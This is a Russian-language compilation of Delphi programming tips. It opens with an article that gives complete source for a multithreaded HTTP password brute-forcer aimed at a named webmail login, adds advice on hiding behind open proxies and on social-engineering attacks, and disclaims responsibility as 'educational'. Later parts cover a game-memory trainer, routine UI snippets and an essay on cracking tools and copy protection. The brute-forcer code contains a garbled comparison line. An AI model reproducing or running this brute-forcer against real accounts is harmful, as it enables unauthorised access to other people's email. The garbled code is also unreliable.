Адрес сервака перед использованием надо отпинговать (ping -a freemail.ukr.net) и ввести IP. Кол-во процессов подбирается исходя из железа. Это рабочий скелет брутфорсера, хоть и написан за пару часов. При проверке, я создал файл-словарь, размером 1000 паролей и 666-ым шел мой настоящий пароль. При одном процессе я задолбался ждать. При кол-ве процессов 255, уже через 15 минут (на диалап), мне высветился мой пароль. На шелле, аналогичная конструкция на перл, заняла примерно столько же времени. Но это на 666-ом пароле, а на 1000000-ом я бы ждал очень долго. Поэтому этот способ обладает очень призрачными шансами что-либо подобрать и годится только для очень простых паролей.

P.S. В следующей статье я напишу, как исследовать web-интерфейс для работы с почтой, написать брутфорс, подбирающий на нем пароли (кстати, будет рассмотрен mail.xakep.ru), и подведу общие итоги.

P.P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.




Взлом E-mail 2


Автор: Danil
WEB-сайт: http://www.danil.dp.ua
На улице стоит маленький мальчик и громко плачет. Подходит к нему мент:
- Чего плачешь, малыш?
- Я потеря-я-ялся...
- А адрес свой знаешь?
- Да-а-а. asd.ddd.lpo.net!..
- А, мать твою! Это ж где? А хоть имя свое знаешь?
- Administra-a-a-ator...

Продолжение статьи по ПОПЫТКАМ взлома мыла. Для тех, кто в бронепоезде (крупными буквами): Я НЕ ПИШУ КАК ВЗЛАМЫВАТЬ МЫЛО. Я ЗАНИМАЮСЬ ИССЛЕДОВАНИЯМИ, ДЕЛЮСЬ НЕКОТОРЫМИ ПРИЕМАМИ КОДИНГА И ПРИКАЛЫВАЮСЬ НАД ОДНОЙ ТЕМОЙ В ФОРУМЕ (см. первую статью). Это мое личное право. Стандатной программы по взлому мыла с одной кнопкой "Hack it" не бывает. Есть человеческий фактор, который можно использовать. Попытка взлома мыла - это пару часов и чуть-чуть подождать. Самый лучший метод - социальная инженерия. Писать письма с определенным сообщением, с атачами, подходящими под это сообщение. А не так, как мне один виры уже 2 месяца шлет. Размер - 130 кило. Без комментариев. Задолбался уже в диспечере писем на кнопку "переименовать и удалить" жать, а поставщику его инет услуг написать облом. Скажу сразу обо всех описанных способах - если сразу не получилось, то lim(100)% уже и не получится. Только трата времени и инет-ресурсов. Это были основные выводы по мылу. Эти статьи предоставляют интерес (по моему мнению) с точки зрения исследований и приемов кодинга. А что таким образом исследовать и сканировать - умный человек найдет. Это основные выводы по статьям. Продолжим.

HTTP - сервис. 80 порт (чаще всего). Для написания проги, нам понадобятся дополнительные инструменты для ведения логов некоторых запросов. Это port-mapper или tcp-logger. Программы, способные вести лог запросов по выбранному протоколу. Почему не сниффер? Потому, что забивать гвозди микроскопом не удобно. Для прослушки порта можно взять xspider, по port-mapper есть хорошая статья на http://www.uinc.ru/index.html, tcp-logger с исходниками можно взять там же. Tcp-logger - это как бы локальный прокси (в броузере надо вписать в поле прокси наш адрес и порт, на котором стоит прога), который получает пакеты от клиента, записывает их в лог и отсылает другому прокси в цепочке. Тот запрашивает сервер и возвращает ответы нам. tcp-logger получает их, опять пишет лог и передает клиенту. Как и обещал, будем исследовать mail.xakep.ru. Заходим броузером. Видим поля для ввода имени и пароля. Естественно, после ввода данных, будет сформирован и отослан url, содержащий эти данные. Включаем tcp-logger. Вот лог запроса на вход:


 GET http://mail.xakep.ru/cgi-bin/mail?username=USER&domain=xakep.ru&password=PASSWORD&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0
 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/pdf, */*
 Accept-Language: ru
 User-Agent: Mozilla/9.0 (compatible; MSIE 9.0; Windows NT 8.0; qwerty)
 Host: mail.xakep.ru
 Proxy-Connection: Keep-Alive
 

Для сканера-брутфорсера, нам нужно найти отличие ответов сервера на правильный пароль и не правильный. Для этого надо их ввести. На правильный пароль ответ:


 HTTP/1.0 200 OK
 Date: Fue, 32 May 2002 08:11:01 GMT
 Server: Apache
 Cache-Control: no-store
 Content-Language: en-us
 Pragma: no-cache
 Vary: Accept-Language
 Content-Type: text/html; charset=windows-1251
 X-Cache: MISS from proxy.proxy.proxy
 Proxy-Connection: close
 <HTML>
 <HEAD>
 SKIP
 

Вот лог ответа на неправильный пароль:


 HTTP/1.0 200 OK
 Date: Fue, 32 May 2002 08:11:58 GMT
 Server: Apache
 Cache-Control: no-store
 Content-Language: en-us
 Pragma: no-cache
 Vary: Accept-Language
 Content-Type: text/html; charset=windows-1251
 X-Cache: MISS from proxy.proxy.proxy
 Proxy-Connection: close
 
 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
 <html>
 <head>
 SKIP
 

Таким образом, для того, чтобы сравнить отличие ответов, надо получить всего около 300 байт (в неправильном пароле есть , в правильном его нет). Брутфорсер будет очень похож на cgi-scaner и брутфорсер для запароленных ресурсов, с дной только разницей, что сравнивать мы будем не первые строки с ответом 200 или 500, а несколько больший кусок данных. По сравнению с брутфорсом для POP3, этот имеет ряд преимуществ:

  • Не надо на каждый запрос инициализировать сокет. Разрыв соединения при неправильном пароле не происходит, поэтому его можно инициализировать только на каждый процесс.
  • Надо послать один запрос и получить один ответ, а не три.
  • Можно использовать стандартный прокси.

Итак, Опять делаем новое приложение, новое окно, кнопку и ProgreesBar. Вот исходники HTTP-брутфорсера:


 unit Unit1;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   ComCtrls, StdCtrls, WinSock;
 
 type
   TForm1 = class(TForm)
     Button1: TButton;
     ProgressBar1: TProgressBar;
     procedure Button1Click(Sender: TObject);
     procedure FormCreate(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
 end;
 
 // Описание процесса
 type
   TScan = class(TThread)
     sock2: TSocket;
     addr: TSockAddrIn;
     WSAData: TWSAData;
   private
     procedure CScan;
   protected
     procedure Execute; override;
 end;
 
 var
   Form1: TForm1;
   // Массив процессов
   Sock : array[1..255] of TScan;
   Rez : boolean = false;
   // Кол-во запущенных процессов на данный момент
   I0 : Integer;
   // Номер текущего пароля
   I : Integer;
   // TStringGrid-ы с паролями и с логом
   PassList, DopList1 : TStringList;
 
 const
   FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
   ProcCount = 10; // кол-во процессов
   // Адрес прокси через который будет сканирование.
   // Лучше отпинговать сначала
   HTTPserv = 'proxy.address.net';
   User = 'USER';
 
 implementation
 
 // Для преобразование имени
 type
   TaPInAddr = array [0..255] of PInAddr;
   PaPInAddr = ^TaPInAddr;
 
 {$R *.DFM}
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   PassList:=TStringList.Create;
   DopList1:=TStringList.Create;
 end;
 
 // Запуск / Остановка
 procedure TForm1.Button1Click(Sender: TObject);
 var
   J0 : Integer;
 begin
   if Rez then
   begin
     Rez:=false;
     for J0:=1 to I0 do
       try
         Sock[J0].Terminate;
       except
       end;
   end
   else
   begin
     // Открытие и загрузка файла паролей
     try
       PassList.Clear;
       PassList.LoadFromFile(FilePass);
     except
     end;
     if PassList.Count<=0 then
     begin
       Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
       exit;
     end;
     Form1.Button1.Caption:='Stop';
     Form1.ProgressBar1.Position:=0;
     // Кол-во паролей
     Form1.ProgressBar1.Max:=PassList.Count;
     Application.ProcessMessages;
     I:=0;
     I0:=1;
     Rez:=true;
     // Запустить все процессы
     while true do
     begin
       Sock[I0]:=TScan.Create(false);
       inc(I0); // Подсчитать их кол-во
       //Выйти если больше указанного, или стоп, или подобрали
       if (I0>ProcCount)or(not Rez) then
         break;
       if I0 mod 100 = 0 then
         DopList1.Text:=IntToStr(I0);
     end;
   end;
 end;
 
 // Инициализация процесса
 procedure TScan.Execute;
 var
   iaddr, x0 : Integer;
   ph : PHostEnt;
   pptr : PaPInAddr;
   InAddr : TInAddr;
 begin
   try
     // Инициализация сокета
     WSAStartUp(257, WSAData);
     sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
     if sock2=INVALID_SOCKET then
     begin
       try
         closesocket(sock2);
       except
       end;
 
       try
         Terminate;
       except
       end;
       exit;
     end;
     // Получение адреса
     iaddr := inet_addr(HTTPserv);
     if iaddr <=0 then
     begin
       // Если имя, а не IP
       ph := gethostbyname(HTTPserv);
       if ph = nil then
       begin
         try
           closesocket(sock2);
         except
         end;
 
         try
           Terminate;
         except
         end;
         exit;
       end;
       pptr := PaPInAddr(ph^.h_addr_list);
       x0 := 0;
       while pptr^[x0] <> nil do
       begin
         InAddr:= pptr^[x0]^;
         inc(x0);
         addr.sin_addr:=inaddr;
         addr.sin_family := AF_INET;
         // Порт прокси - 80, 3128, 80808 и т.п.
         addr.sin_port := htons(80);
         if (connect(sock2, addr, sizeof(addr))) = 0 then
           break
       end;
     end
     else
     begin
       // Если IP
       addr.sin_addr.S_addr:=iaddr;
       addr.sin_family := AF_INET;
       // Порт прокси - 80, 3128, 80808 и т.п.
       addr.sin_port := htons(80);
       addr.sin_family := AF_INET;
       if (connect(sock2, addr, sizeof(addr))) > 0 then
       begin
         try
           closesocket(sock2);
         except
         end;
 
         try
           Terminate;
         except
         end;
         exit;
       end;
     end;
     // Запуск цикла
     while true do
     begin
       CScan;
       if (not Rez)or(I>=PassList.Count) then
         break;
     end;
   except
   end;
   dec(I0);
   try
     Terminate;
   except
   end;
   // Если отмена, закончился список или подобрали
   if I0<=1 then
   begin
     Form1.Button1.Caption:='Hack it';
     Rez:=false;
     Application.ProcessMessages;
     DopList1.SaveToFile('log.txt');
   end;
 end;
 
 // Процедура сканирования
 procedure TScan.CScan;
 var
   x, I2 : Integer;
   Buf : string;
 begin
   I2:=I;
   inc(I);
   Form1.ProgressBar1.Position:=I2+1;
   Application.ProcessMessages;
   try
     // Формирование url
     Buf:='GET http://mail.xakep.ru/cgi-bin/mail?username='+User+'&domain=xakep.ru&password='+PassList.Strings[I2]+'&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0';
     // Отправка данных
     send(sock2,Buf[1],length(Buf),0);
     // Получение 300 байт
     setlength(Buf,300);
     x:=recv(sock2,Buf[1],300,0);
     if x<300 then
       exit;
     setlength(Buf,300);
     // Если подобрали
     if pos(Buf,'then
     begin
       Rez:=false;
       DopList1.Text:='Pass = '+PassList.Strings[I2];
       Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
       exit;
     end;
   except
   end;
 end;
 
 end.
 

Такая конструкция будет достаточно быстро работать. Правда, недостаточно быстро для ОЧЕНЬ БОЛЬШИХ файлов с паролями или прямого перебора. Но, само описание и приемы подходят не только для мыла, но и для других HTTP-сервисов. Различные чаты, форумы и т.д. и т.п. Он достаточно просто переделывается в cgi-scaner и в брутфорсер перебора пароля на закрытые на сервере ресурсы.

Анонимность. Прокси. Для HTTP брутфорсера - уже написано. Надо при инициализации сокета, использовать адрес и порт прокси. Для POP3 и прочего: надо юзать SOCKS-proxies. Всю информацию по использованию и настройке можно почитать здесь.

Публичные прокси. Например, есть некоторая локальная сеть, из которой осуществляется выход в инет. На сервере стоит прокси сервер для того, чтобы все в локалке могли открывать сайты, получать почту и т.д. и т.п. Как это не странно, но очень многие забывают поставить соответствующий доступ к этому прокси. Т.к. практически все такие прокси поддерживают получение почты, телнет, HTTP, то сформировав запрос соответствующим образом, можно делать практически все. Не говоря уже о запуске брутфорсеров и т.п. через этот прокси, можно получать доступ ко всей локальной сетке. Обратным адресом будет адрес сервера с прокси. Об этом мало говорят, но такие сервера есть и их не так и мало. Таким образом, можно применяя технологию спуфинга, получать мыло у прова с уровнем безопасности из первой статьи (получение почты только при выходе в инет через них). В общем, вариантов использования очень много.

Подведем итоги по безопасности:

  • Если пароль на мыло указать не менее 8-ми случайных цифр и больших, маленьких букв, то подобрать пароль практически невозможно. Используя любой из описанных вариантов. Кол-во возможных вариантов ОЧЕНЬ большое. Это же касается и "Забыл пароль". Для параноиков - его можно менять раз в неделю/месяц.
  • Не пользоваться броузером при получении писем. На всякий случай. Или использовать оперу без установленных сервисов поддержки Java.
  • Не отвечать на подозрительные письма. Лучше быть невежливым, чем... Если есть малейшее подозрение, можешь не сомневаться - это атака на мыло.
  • Отключить в e-mail клиенте автопросмотр html и не пользоваться аутглюком. Есть другие предложения на этом рынке. А ему запретить в firewall вообще куда-либо доступ.
  • Хороший firewall, не только со стандартными функциями и ограничением показа баннеров, но и с автоматическим переименованием приатаченных файлов с выбранными расширениями.
  • Нужно почаще получать письма и удалять их на сервере. Даже если пароль подобран, для чтения писем, атакующему придется очень часто их получать и админ рано или поздно это заметит.

Все это бесполезно, при грамотном осуществлении 3-его способа (см. первую статью).

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.




Прерывание создания компонента

Автор: Pat

Для того, чтобы отменить создание компонента, просто создайте объект исключения.


 constructor TMyComponent.Create(AOwner:TComponent);
 begin
   if SomeCondition then
     raise Exception.Create('Не могу создать компонент');
   inherited Create(AOwner);
   // ... дополнительная инициализация ...
 end;
 




Пример программы - тренера (взлом игр)

 #################################################################
 #################################################################
 ##                                                             ##
 ## Creating a Game Trainer in Delphi                           ##
 ##                                                             ##
 ## In this tutorial, I'm going to outline all the basic API    ##
 ## and code necessary to create a trainer in Delphi 4. A basic ##
 ## knowledge of Delphi is preferred, but Delphi's a damn easy  ##
 ## language to learn anyway.                                   ##
 ##                                                             ##
 #################################################################
 #################################################################
 
 ###############
 # The Concept #
 ###############
 

Okay, this is what we want the trainer to do. We run the game, and then [alt][tab] out to Windows. We run the trainer, and press a button. This action will poke a value into a certain memory address of the game. So if we know the memory address of the money in a game, we can hack the money using this trainer.

To make a trainer, here are the basic things we need.

The Game's Window Title: Run the game, and then alt-tab out to Windows. Look at the taskbar for your game, and write down the exact window title.

The Memory Address (in hex): Using a program like GameHack [www.gamehack.com] or MTC, we can do a search for any value and find the memory address. An example address in hex form is 41D090. Write the address down somewhere.

A Value To Poke (in hex): So we have the memory address. What value do we want to poke into it? Let's say I want 50 gold, so first, I must convert 50 into hex form using a hex converter. The converter says 32, so write this number down also.

Number Of Bytes: In the value to poke that you wrote down above, you must also know how many bytes this will take up in memory. For example, 32 will take up only 1 byte, but FF07 will take up two bytes. In general, two digits take up one byte.

 ##########################
 # Let's Start The Coding #
 ##########################
 

We are going to use the Win32 API to poke values into the memory of another process. Here are the functions we'll be using, in the correct order:

FindWindow
GetWindowThreadProcessId
OpenProcess
ReadProcessMemory
WriteProcessMemory
CloseHandle

[Read up these API fuctions in the Win32.hlp file for full details. I will only go through the basics such that beginners can just copy and paste the code in this turorial]

The coding begins. First we declare our variables. Copy and paste these into your code:


 Var WindowName : integer;
     ProcessId : integer;
     ThreadId : integer;
     buf : PChar;
     HandleWindow : Integer;
     write : cardinal;
 
 

Time to declare all the important stuff. Copy and paste the following into the same area of the code. Set up the following variables to what you have written down earlier.


 Const WindowTitle = 'prog test';
       Address = $41D090;
       PokeValue = $32;
       NumberOfBytes = 1;
 

Now to poke a value, you must get the handle of the memory of the game. There is no direct way to do this, so here's what we do.

1) Get the main window's handle.
2) With the handle, get the process identifier.
3) With the pID, get the handle of the memory area.
4) With this handle, we can start hacking!

First, we need to get the handle of the main window of the game. Use the FindWindow function like this:


 WindowName := FindWindow(nil,WindowTitle);
 If WindowName = 0 then
 begin
   MessageDlg('The game must be running in the background.
     Run it now, and then try again.', mtwarning,[mbOK],0);
 end;
 

Notice that the code checks whether windowname is zero. If it is, it means the game is not running, so we warn the user and tell him to run the damn game now!

Next, we need the window's processidentifier. We use the GetWindowThreadProcessId function for this. Then we get the handle of the memory are using OpenProcess. Copy the code below.


 ThreadId := GetWindowThreadProcessId(WindowName,@ProcessId);
 HandleWindow := OpenProcess(PROCESS_ALL_ACCESS,False,ProcessId);
 

That's it! Now we can use WriteProcessMemory to hack into the handle. Once we're done, we close the handle, just to be safe. Copy the code below.


 GetMem(buf,1);
 buf^ := Chr(PokeValue);
 WriteProcessMemory(HandleWindow,ptr(Address),buf,NumberOfBytes,write);
 FreeMem(buf);
 closehandle(HandleWindow);
 

Below is the source code for the entire trainer. For beginner programmers, to make a fast trainer, all you have to do is change the constants declared in the beginning of the code.

 ############################################################
 ############################################################
 ####                                                    ####
 ####            Trainer +1 For MTC's Prog Test          ####
 ####            Source Code  (Delphi 4)                 ####
 ####            Copyright 1999 By CheatMagic            ####
 ####                                                    ####
 ############################################################
 ############################################################
 

 Var WindowName : integer;
     ProcessId : integer;
     ThreadId : integer;
     buf : PChar;
     HandleWindow : Integer;
     write : cardinal;
 
 Const WindowTitle = 'prog test';
       Address = $41D090;
       PokeValue = $32;
       NumberOfBytes = 1;
 

 ###########################################################
 # (Put the following code inside a command button routine)#
 ###########################################################
 

 begin
   WindowName := FindWindow(nil,WindowTitle);
   If WindowName = 0 then
   begin
     MessageDlg('The game must be running in the background.
       Run it now, and then try again.', mtwarning,[mbOK],0);
   end;
 
   ThreadId := GetWindowThreadProcessId(WindowName,@ProcessId);
   HandleWindow := OpenProcess(PROCESS_ALL_ACCESS,False,ProcessId);
 
   GetMem(buf,1);
   buf^ := Chr(PokeValue);
   WriteProcessMemory(HandleWindow,ptr(Address),buf,NumberOfBytes,write);
   FreeMem(buf);
   closehandle(HandleWindow);
 end;
 




Прерывание работы принтера

...да, это известная проблема. При вызове Printer.Abort должен вызываться код


 WinProcs.AbortProc(Printer.Handle)
 

но этого не происходит. Вызывайте это сами каждый раз при использовании Printer.Abort.




Наставляем мышь на окно, и оно выносится на передний план


 procedure TForm1.Timer1Timer(Sender: TObject);
 var
   p: TPoint;
 begin
   GetCursorPos(p);
   SetForegroundWindow(WindowFromPoint(p));
 end;
 




Посылка сообщения всем формам - BroadCast


 var
   I: Integer;
   M: TMessage;
   ...
   with M do begin
     Message := ...
   ...
 end;
   PostMessage( Forms[I].Handle, ... );
   // Если надо и всем чилдам
   Forms[I].Broadcast( M );
 end
 




Кнопки в панели задач Windows



 // Это необходимо объявить в секции public в верхней части вашего pas-файла
 procedure TForm1.IconCallBackMessage( var Mess : TMessage ); message WM_USER + 100;
 


 procedure TForm1.FormCreate(Sender: TObject);
 var
 
   nid: TNotifyIconData;
 begin
 
   with nid do
   begin
     cbSize := SizeOf(TNotifyIconData);
     Wnd := Form1.Handle;
     uID := 1;
     uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
     uCallbackMessage := WM_USER + 100;
     hIcon := Application.Icon.Handle;
     szTip := 'Текст всплывающей подсказки';
   end;
   Shell_NotifyIcon(NIM_ADD, @nid);
 end;
 
 procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
 var
 
   nid: TNotifyIconData;
 begin
 
   with nid do
   begin
     cbSize := SizeOf(TNotifyIconData);
     Wnd := Form1.Handle;
     uID := 1;
     uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
     uCallbackMessage := WM_USER + 100;
     hIcon := Application.Icon.Handle;
     szTip := 'Текст всплывающей подсказки';
     // Все, что указано выше, не является обязательным
 
   end;
   Shell_NotifyIcon(NIM_DELETE, @nid);
 end;
 
 procedure TForm1.IconCallBackMessage(var Mess: TMessage);
 var
 
   sEventLog: string;
 begin
 
   case Mess.lParam of
     // Сделайте здесь все что вы хотите. Например,
     // вызов контекстного меню при нажатии правой кнопки мыши.
 
     WM_LBUTTONDBLCLK: sEventLog := 'Двойной щелчок левой кнопкой';
     WM_LBUTTONDOWN: sEventLog := 'Нажатие левой кнопки мыши';
     WM_LBUTTONUP: sEventLog := 'Отжатие левой кнопки мыши';
     WM_MBUTTONDBLCLK: sEventLog := 'Двойной щелчок мышью';
     WM_MBUTTONDOWN: sEventLog := 'Нажатие кнопки мыши';
     WM_MBUTTONUP: sEventLog := 'Отжатие кнопки мыши';
     WM_MOUSEMOVE: sEventLog := 'перемещение мыши';
     WM_MOUSEWHEEL: sEventLog := 'Вращение колесика мыши';
     WM_RBUTTONDBLCLK: sEventLog := 'Двойной щелчок правой кнопкой';
     WM_RBUTTONDOWN: sEventLog := 'Нажатие правой кнопки мыши';
     WM_RBUTTONUP: sEventLog := 'Отжатие правой кнопки мыши';
   end;
 end;
 




Работа в коде с кнопками DBNavigator

Познакомились в Интернете парень и девушка, подружились по переписке. Решили встретиться. Договорились о месте и времени. Он спрашивает:
- А как я тебя узнаю?
- Я буду во всем салатовом.
Парень пришел на место и издали, на всякий случай, высматривает девушку в салатовом платье. Вдруг видит: барышня в салатовом, весом килограммов 150. На другой день общаются в Чате. Она:
- Ну что же ты не пришел?
- Я пришел, но не подошел.
- Почему?
- А я подумал, что на твой салат у меня майонеза не хватит.

Я думаю вам поможет следующий пример (взят из электронной справки по DELPHI), показывающий код нажатой кнопки. Я видел пару вопросов о том, как изменять кнопки навигатора в зависимости от состояния редактируемой вами записи. Если вам необходимо подтверждение действий пользователя, то необходимо каким-то образом организовать дополнительный перехватчик. Как это сделать, я, честно говоря, еще не думал.

Прежде, чем вы сделаете любой постинг или изменение данных, убедитесь, что таблица находится в режиме редактирования. Посмотрите описание свойства state в электронной справке по DELPHI. Там подробно рассказано как работать с ним.

Следующий код определяет нажатую кнопку навигатора и выводит сообщение с ее именем.


 procedure TForm1.DBNavigator1Click(Sender: TObject; Button: TNavigateBtn);
 var
   BtnName: string;
 begin
   case Button of
     nbFirst  : BtnName := 'nbFirst';
     nbPrior  : BtnName := 'nbPrior';
     nbNext   : BtnName := 'nbNext';
     nbLast   : BtnName := 'nbLast';
     nbInsert : BtnName := 'nbInsert';
     nbDelete : BtnName := 'nbDelete';
     nbEdit   : BtnName := 'nbEdit';
     nbPost   : BtnName := 'nbPost';
     nbCancel : BtnName := 'nbCancel';
     nbRefresh: BtnName := 'nbRefresh';
   end;
   MessageDlg('Была нажата кнопка' + BtnName, mtInformation, [mbOK], 0);
 end;
 




Кнопка со звуком

Когда Вы нажимаете на кнопку, то видите трёхмерный эффект нажатия. А как же насчёт четвёртого измерения, например звука ? Ну тогда нам понадобится звук для нажатия и звук для отпускания кнопки. Если есть желание, то можно добавить даже речевую подсказку, однако не будем сильно углубляться.

Компонент звуковой кнопки имеет два новых свойства:


 type
   TDdhSoundButton = class(TButton)
     private
       FSoundUp, FSoundDown: string;
     protected
       procedure MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); override;
       procedure MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); override;
     published
       property SoundUp: string read FSoundUp write FSoundUp;
       property SoundDown: string read FSoundDown write FSoundDown;
 end;
 

Звуки будут проигрываться при нажатии и отпускании кнопки:


 procedure TDdhSoundButton.MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
 begin
   inherited;
   PlaySound(PChar(FSoundDown), 0, snd_Async);
 end;
 
 procedure TDdhSoundButton.MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
 begin
   inherited;
   PlaySound(PChar(FSoundUp), 0, snd_Async);
 end;
 




При выполнении некоторых живых запросов, возвращающих единственную запись, BDE ругается

Автор: Nomadic

При выполнении некоторых живых запросов, возвращающих единственную запись, BDE ругается 'multiple records found, but only one was expected'.

Запросы вида

SELECT c, b, a, q FROM T WHERE b = :b,
где ключ c, но BDE посчитала ключом a. Интересный запрос, да? Такое впечатление, что, поскольку ключом в исходной таблице являлась третья колонка, то Дельфы посчитали ключом третью колонку.

Перестановкой SELECT a, b, c, q... все исправилось. Я решил теперь использовать в таких (live) запросах только SELECT *.




Как написать программу, которую будет дешевле купить, чем сломать

Автор: Дмитрий Логинов
Специально для Королевства Delphi

Предисловие

Я решил написать небольшую серию статей (2,3 статьи) на тему "Написание защиты от копирования". Если быть честным, то это будет, скорее всего, дележка опытом на тему "Как написать программу, которую будет дешевле купить, чем сломать". Сразу скажу, что я не собираюсь делиться исходными текстами, но не потому, что я жадный. Просто то, о чем я буду говорить – это описание предметной области той задачи, которую я сформулировал выше. Видя дальнейшие споры на это тему, скажу, что это всего лишь мое мнение, т.е. мое видение этой области и буду рад узнать другие мнения. Учится, всегда пригодится!

Почему я решил поведать свое мнение? В различных конференциях и журналах можно легко найти мнения либо программеров, либо взломщиков-кракеров о той или иной защите. Я не кракер, но имею кое-какой опыт в этом деле, как, в общем-то, и в защите от ломки. Возможно, это выглядит неправдоподобно – "Ломает, но не кракер". Тогда уточню, я не профессиональный кракер. А по моему опыту могу сказать, что людей, профессионально совмещающих, и ломку, и написание чего-нибудь стоящего, я не встречал (хотя возможно такие люди есть). И в той и в другой области есть инструментарий и определенные наработки. Но надо держать руку на пульсе, чтобы быть достаточно квалифицированным для работы. Новые инструменты, статьи, примеры программ, алгоритмов, новые шифры и дыры к ним – все это лучше иметь свеженьким. А на это уходит время, очень много времени!

Но, я что-то отвлекся. Итак, что же я предлагаю. Если Вы хоть раз в своей жизни, по честному, с нуля, ломанули какую-нибудь прогу. Если для Вас слова IDA, HIEW, SOFTICE непросто термины, которые Вам известны. Если Вы профессионально занимаетесь ломкой. Если да - не теряйте времени, не читайте мою статью. Здесь для Вас не будет ничего нового. Для остальных, а я думаю такие найдутся, я поведаю о возможностях современных средств взлома, т.е. о возможностях Ваших потенциальных противников. Я буду очень стараться, чтобы это было просто и интересно. Начнем???

Начало

Дыра – это просто ничто,
Но вы можете в ней сломать шею.
О.О'Мелли

"Давным-давно, когда в мире не было еще интегральных схем. Когда мыши еще бегали по полу и жили в норах. Когда люди знакомились по телефону или на улице и называли себя настоящими именами. В те стародавние времена жили тараканы. Так вот, именно в те времена группа тараканов во главе с … черт, имя забыл! Так вот, они вознамерились помешать прогрессу человеческой мысли. Прослышали они, что люди построили БОЛЬШИЕ счеты и что питаются эти счеты исключительно тараканами. Что стало с этими доблестными тараканами - история умалчивает. Но доподлинно известно, что некоторые из них, проникнув в первые машинные залы, попадали под беспощадные электромеханические реле. Англичане почему-то называли тараканов BUGS. Только не зря гибли доблестные таракашки. Смертью своей они не позволяли электричеству бежать дальше. Так тараканы победили электричество. И с тех пор их называют БАГАМИ, а процесс их обнаружения ДЕБАГИРОВАНИЕ или отладка.
Уже потом баги стали мельчать и очень хорошо прятаться. Потребовалось создание нескольких поколений процессоров, чтобы научится ловить баги. Ходят слухи, что некоторые самые мелкие баги прокрались в процессоры и порождают более крупные баги. Как баги размножаются науке не известно. Но зато известно, как их поймать." (Записано со слов Chlora, он же Guga)

Итак, проведем небольшой обзор самых распространенных средств отладки. Потому как именно эти средства в первую очередь используются кракерами для анализа защиты.

Первое средство – декомпилятор. Процесс перевода из двоичного вида в символьный, на языке команд какого-нибудь языка. Например, дизассемблеры, деклиппер, obj2asm и многие другие. Эти вещи появились раньше отладчиков, т.к. в начале не было архитектуры со встроенными средствами отлаживания программ. И тем ни менее эти средства дошли и до наших дней.

В чем их неудобство:
  1. Неверное определение размеров данных. Ну, например, если в программе есть цикл с использованием оператора MOV AL, BYTE PTR DS:[BX]. Тогда дизассемблер поймет, что туда, куда обращается оператор можно представить как единый блок, например строка STR DB '0123'. Если же Вы обращаетесь туда черте как, как это делают языки высокого уровня, то вы получите вот что:


     Byte1 db 30h ;'0'
     Byte2 db 31h ;'1'
     Byte3 db 32h ;'2'
     Byte4 db 33h ;'3'
     

  2. Как это может навредить? Например, вы дизассемблировали программу закрытую HASP ключом. Чтобы ее взломать, вам нужно найти точку входа в HASP API. Она находится сразу за строкой HASPDOSDRV. Черта лысого вы найдете ее после дизассемблирования!
  3. Отсутствие динамики. Статичный анализ. Т.е. если данные в программе зашифрованы, то декомпилятор их не расшифрует! Огромное количество незначимых для Вас команд! Невозможность посмотреть регистры, стек и память! Ну и т.д.

В чем преимущество:

  1. Возможность изменения исходного кода программы.
  2. Невозможность обнаружения.

Что я здесь имел ввиду. Редко, но бывает необходимым внесения крупных изменений в код программы. Прямая вставка двоичных кодов не помогает, т.к. нарушается расположения меток перехода и процедур. Понимаете? Программа – это линейка кода, по которой нам надо ходить нелинейно, прыгать с определенным смещением. Если линейка удлиняется из-за добавления чего-то в середине, все наши смещения будут показывать не туда куда надо. Повторная перекомпиляция вписывает новые смещения для джампов и колов. ЭТО ОЧЕНЬ РЕДКИЙ СЛУЧАЙ, но такое в моей практике было.

Однажды мне пришлось ломать клипперную программу. Для тех, кто не в курсе, скажу, что это самоинтерпретатор. Т.е. все команды языка переводятся в псевдокод, и к каждой из них сверху линкуется инициализация параметров в стеке и вызов процедурки __plankton. Даже IF и вся булевская часть языка реализована таким образом. Попробуй, поменяй условие для IF или FOR! На уровне ассемблера – это очень трудно делать. А, взяв деклиппер, любой дурак сможет. Вот я и смог. ;))

Что касается "невозможности обнаружения". Здесь я не имел ввиду то, что защититься от декомпиляции невозможно, нет. Очень даже запросто! Но некоторые старые отладчики могли залететь на очень простом фокусе. Раньше, в ДОСе, сегменты были ограничены длинной 65535, а точнее стековый указатель SP не может скакать через 0 или 0FFFFH. Поэтому если вы в программе сделаете SP=0 – то многие отладчики повиснут. Это было тогда! Кончено, если вы будете использовать старые отладчики сейчас, то это произойдет и сейчас. Почему это происходило? Ответ прост – прерывания. Отладчику нужен стек, чтобы вызвался обработчик одного из отладочных прерываний. Если стека нет, то … Я помню свою детскую защитку. Я прописывал в заголовок ЕХЕ файла значение SP равным 0, а в начале программы ставил защиту от дизассемблирования, после чего вкатывал нужное SP. Блочок занимал несколько байт и элементарно обходился. Но как я сладостно потирал руки, когда зависали отладчики при загрузке программы, а SOURCER выдавал чепуху.

Но разработчики дизассемблеров давно учли сложности использования своих программ. И появились такие программы, как Хакер-VIEW (HIEW) и IDA (Интерактивный Дизассемблер). В чем их прелесть?

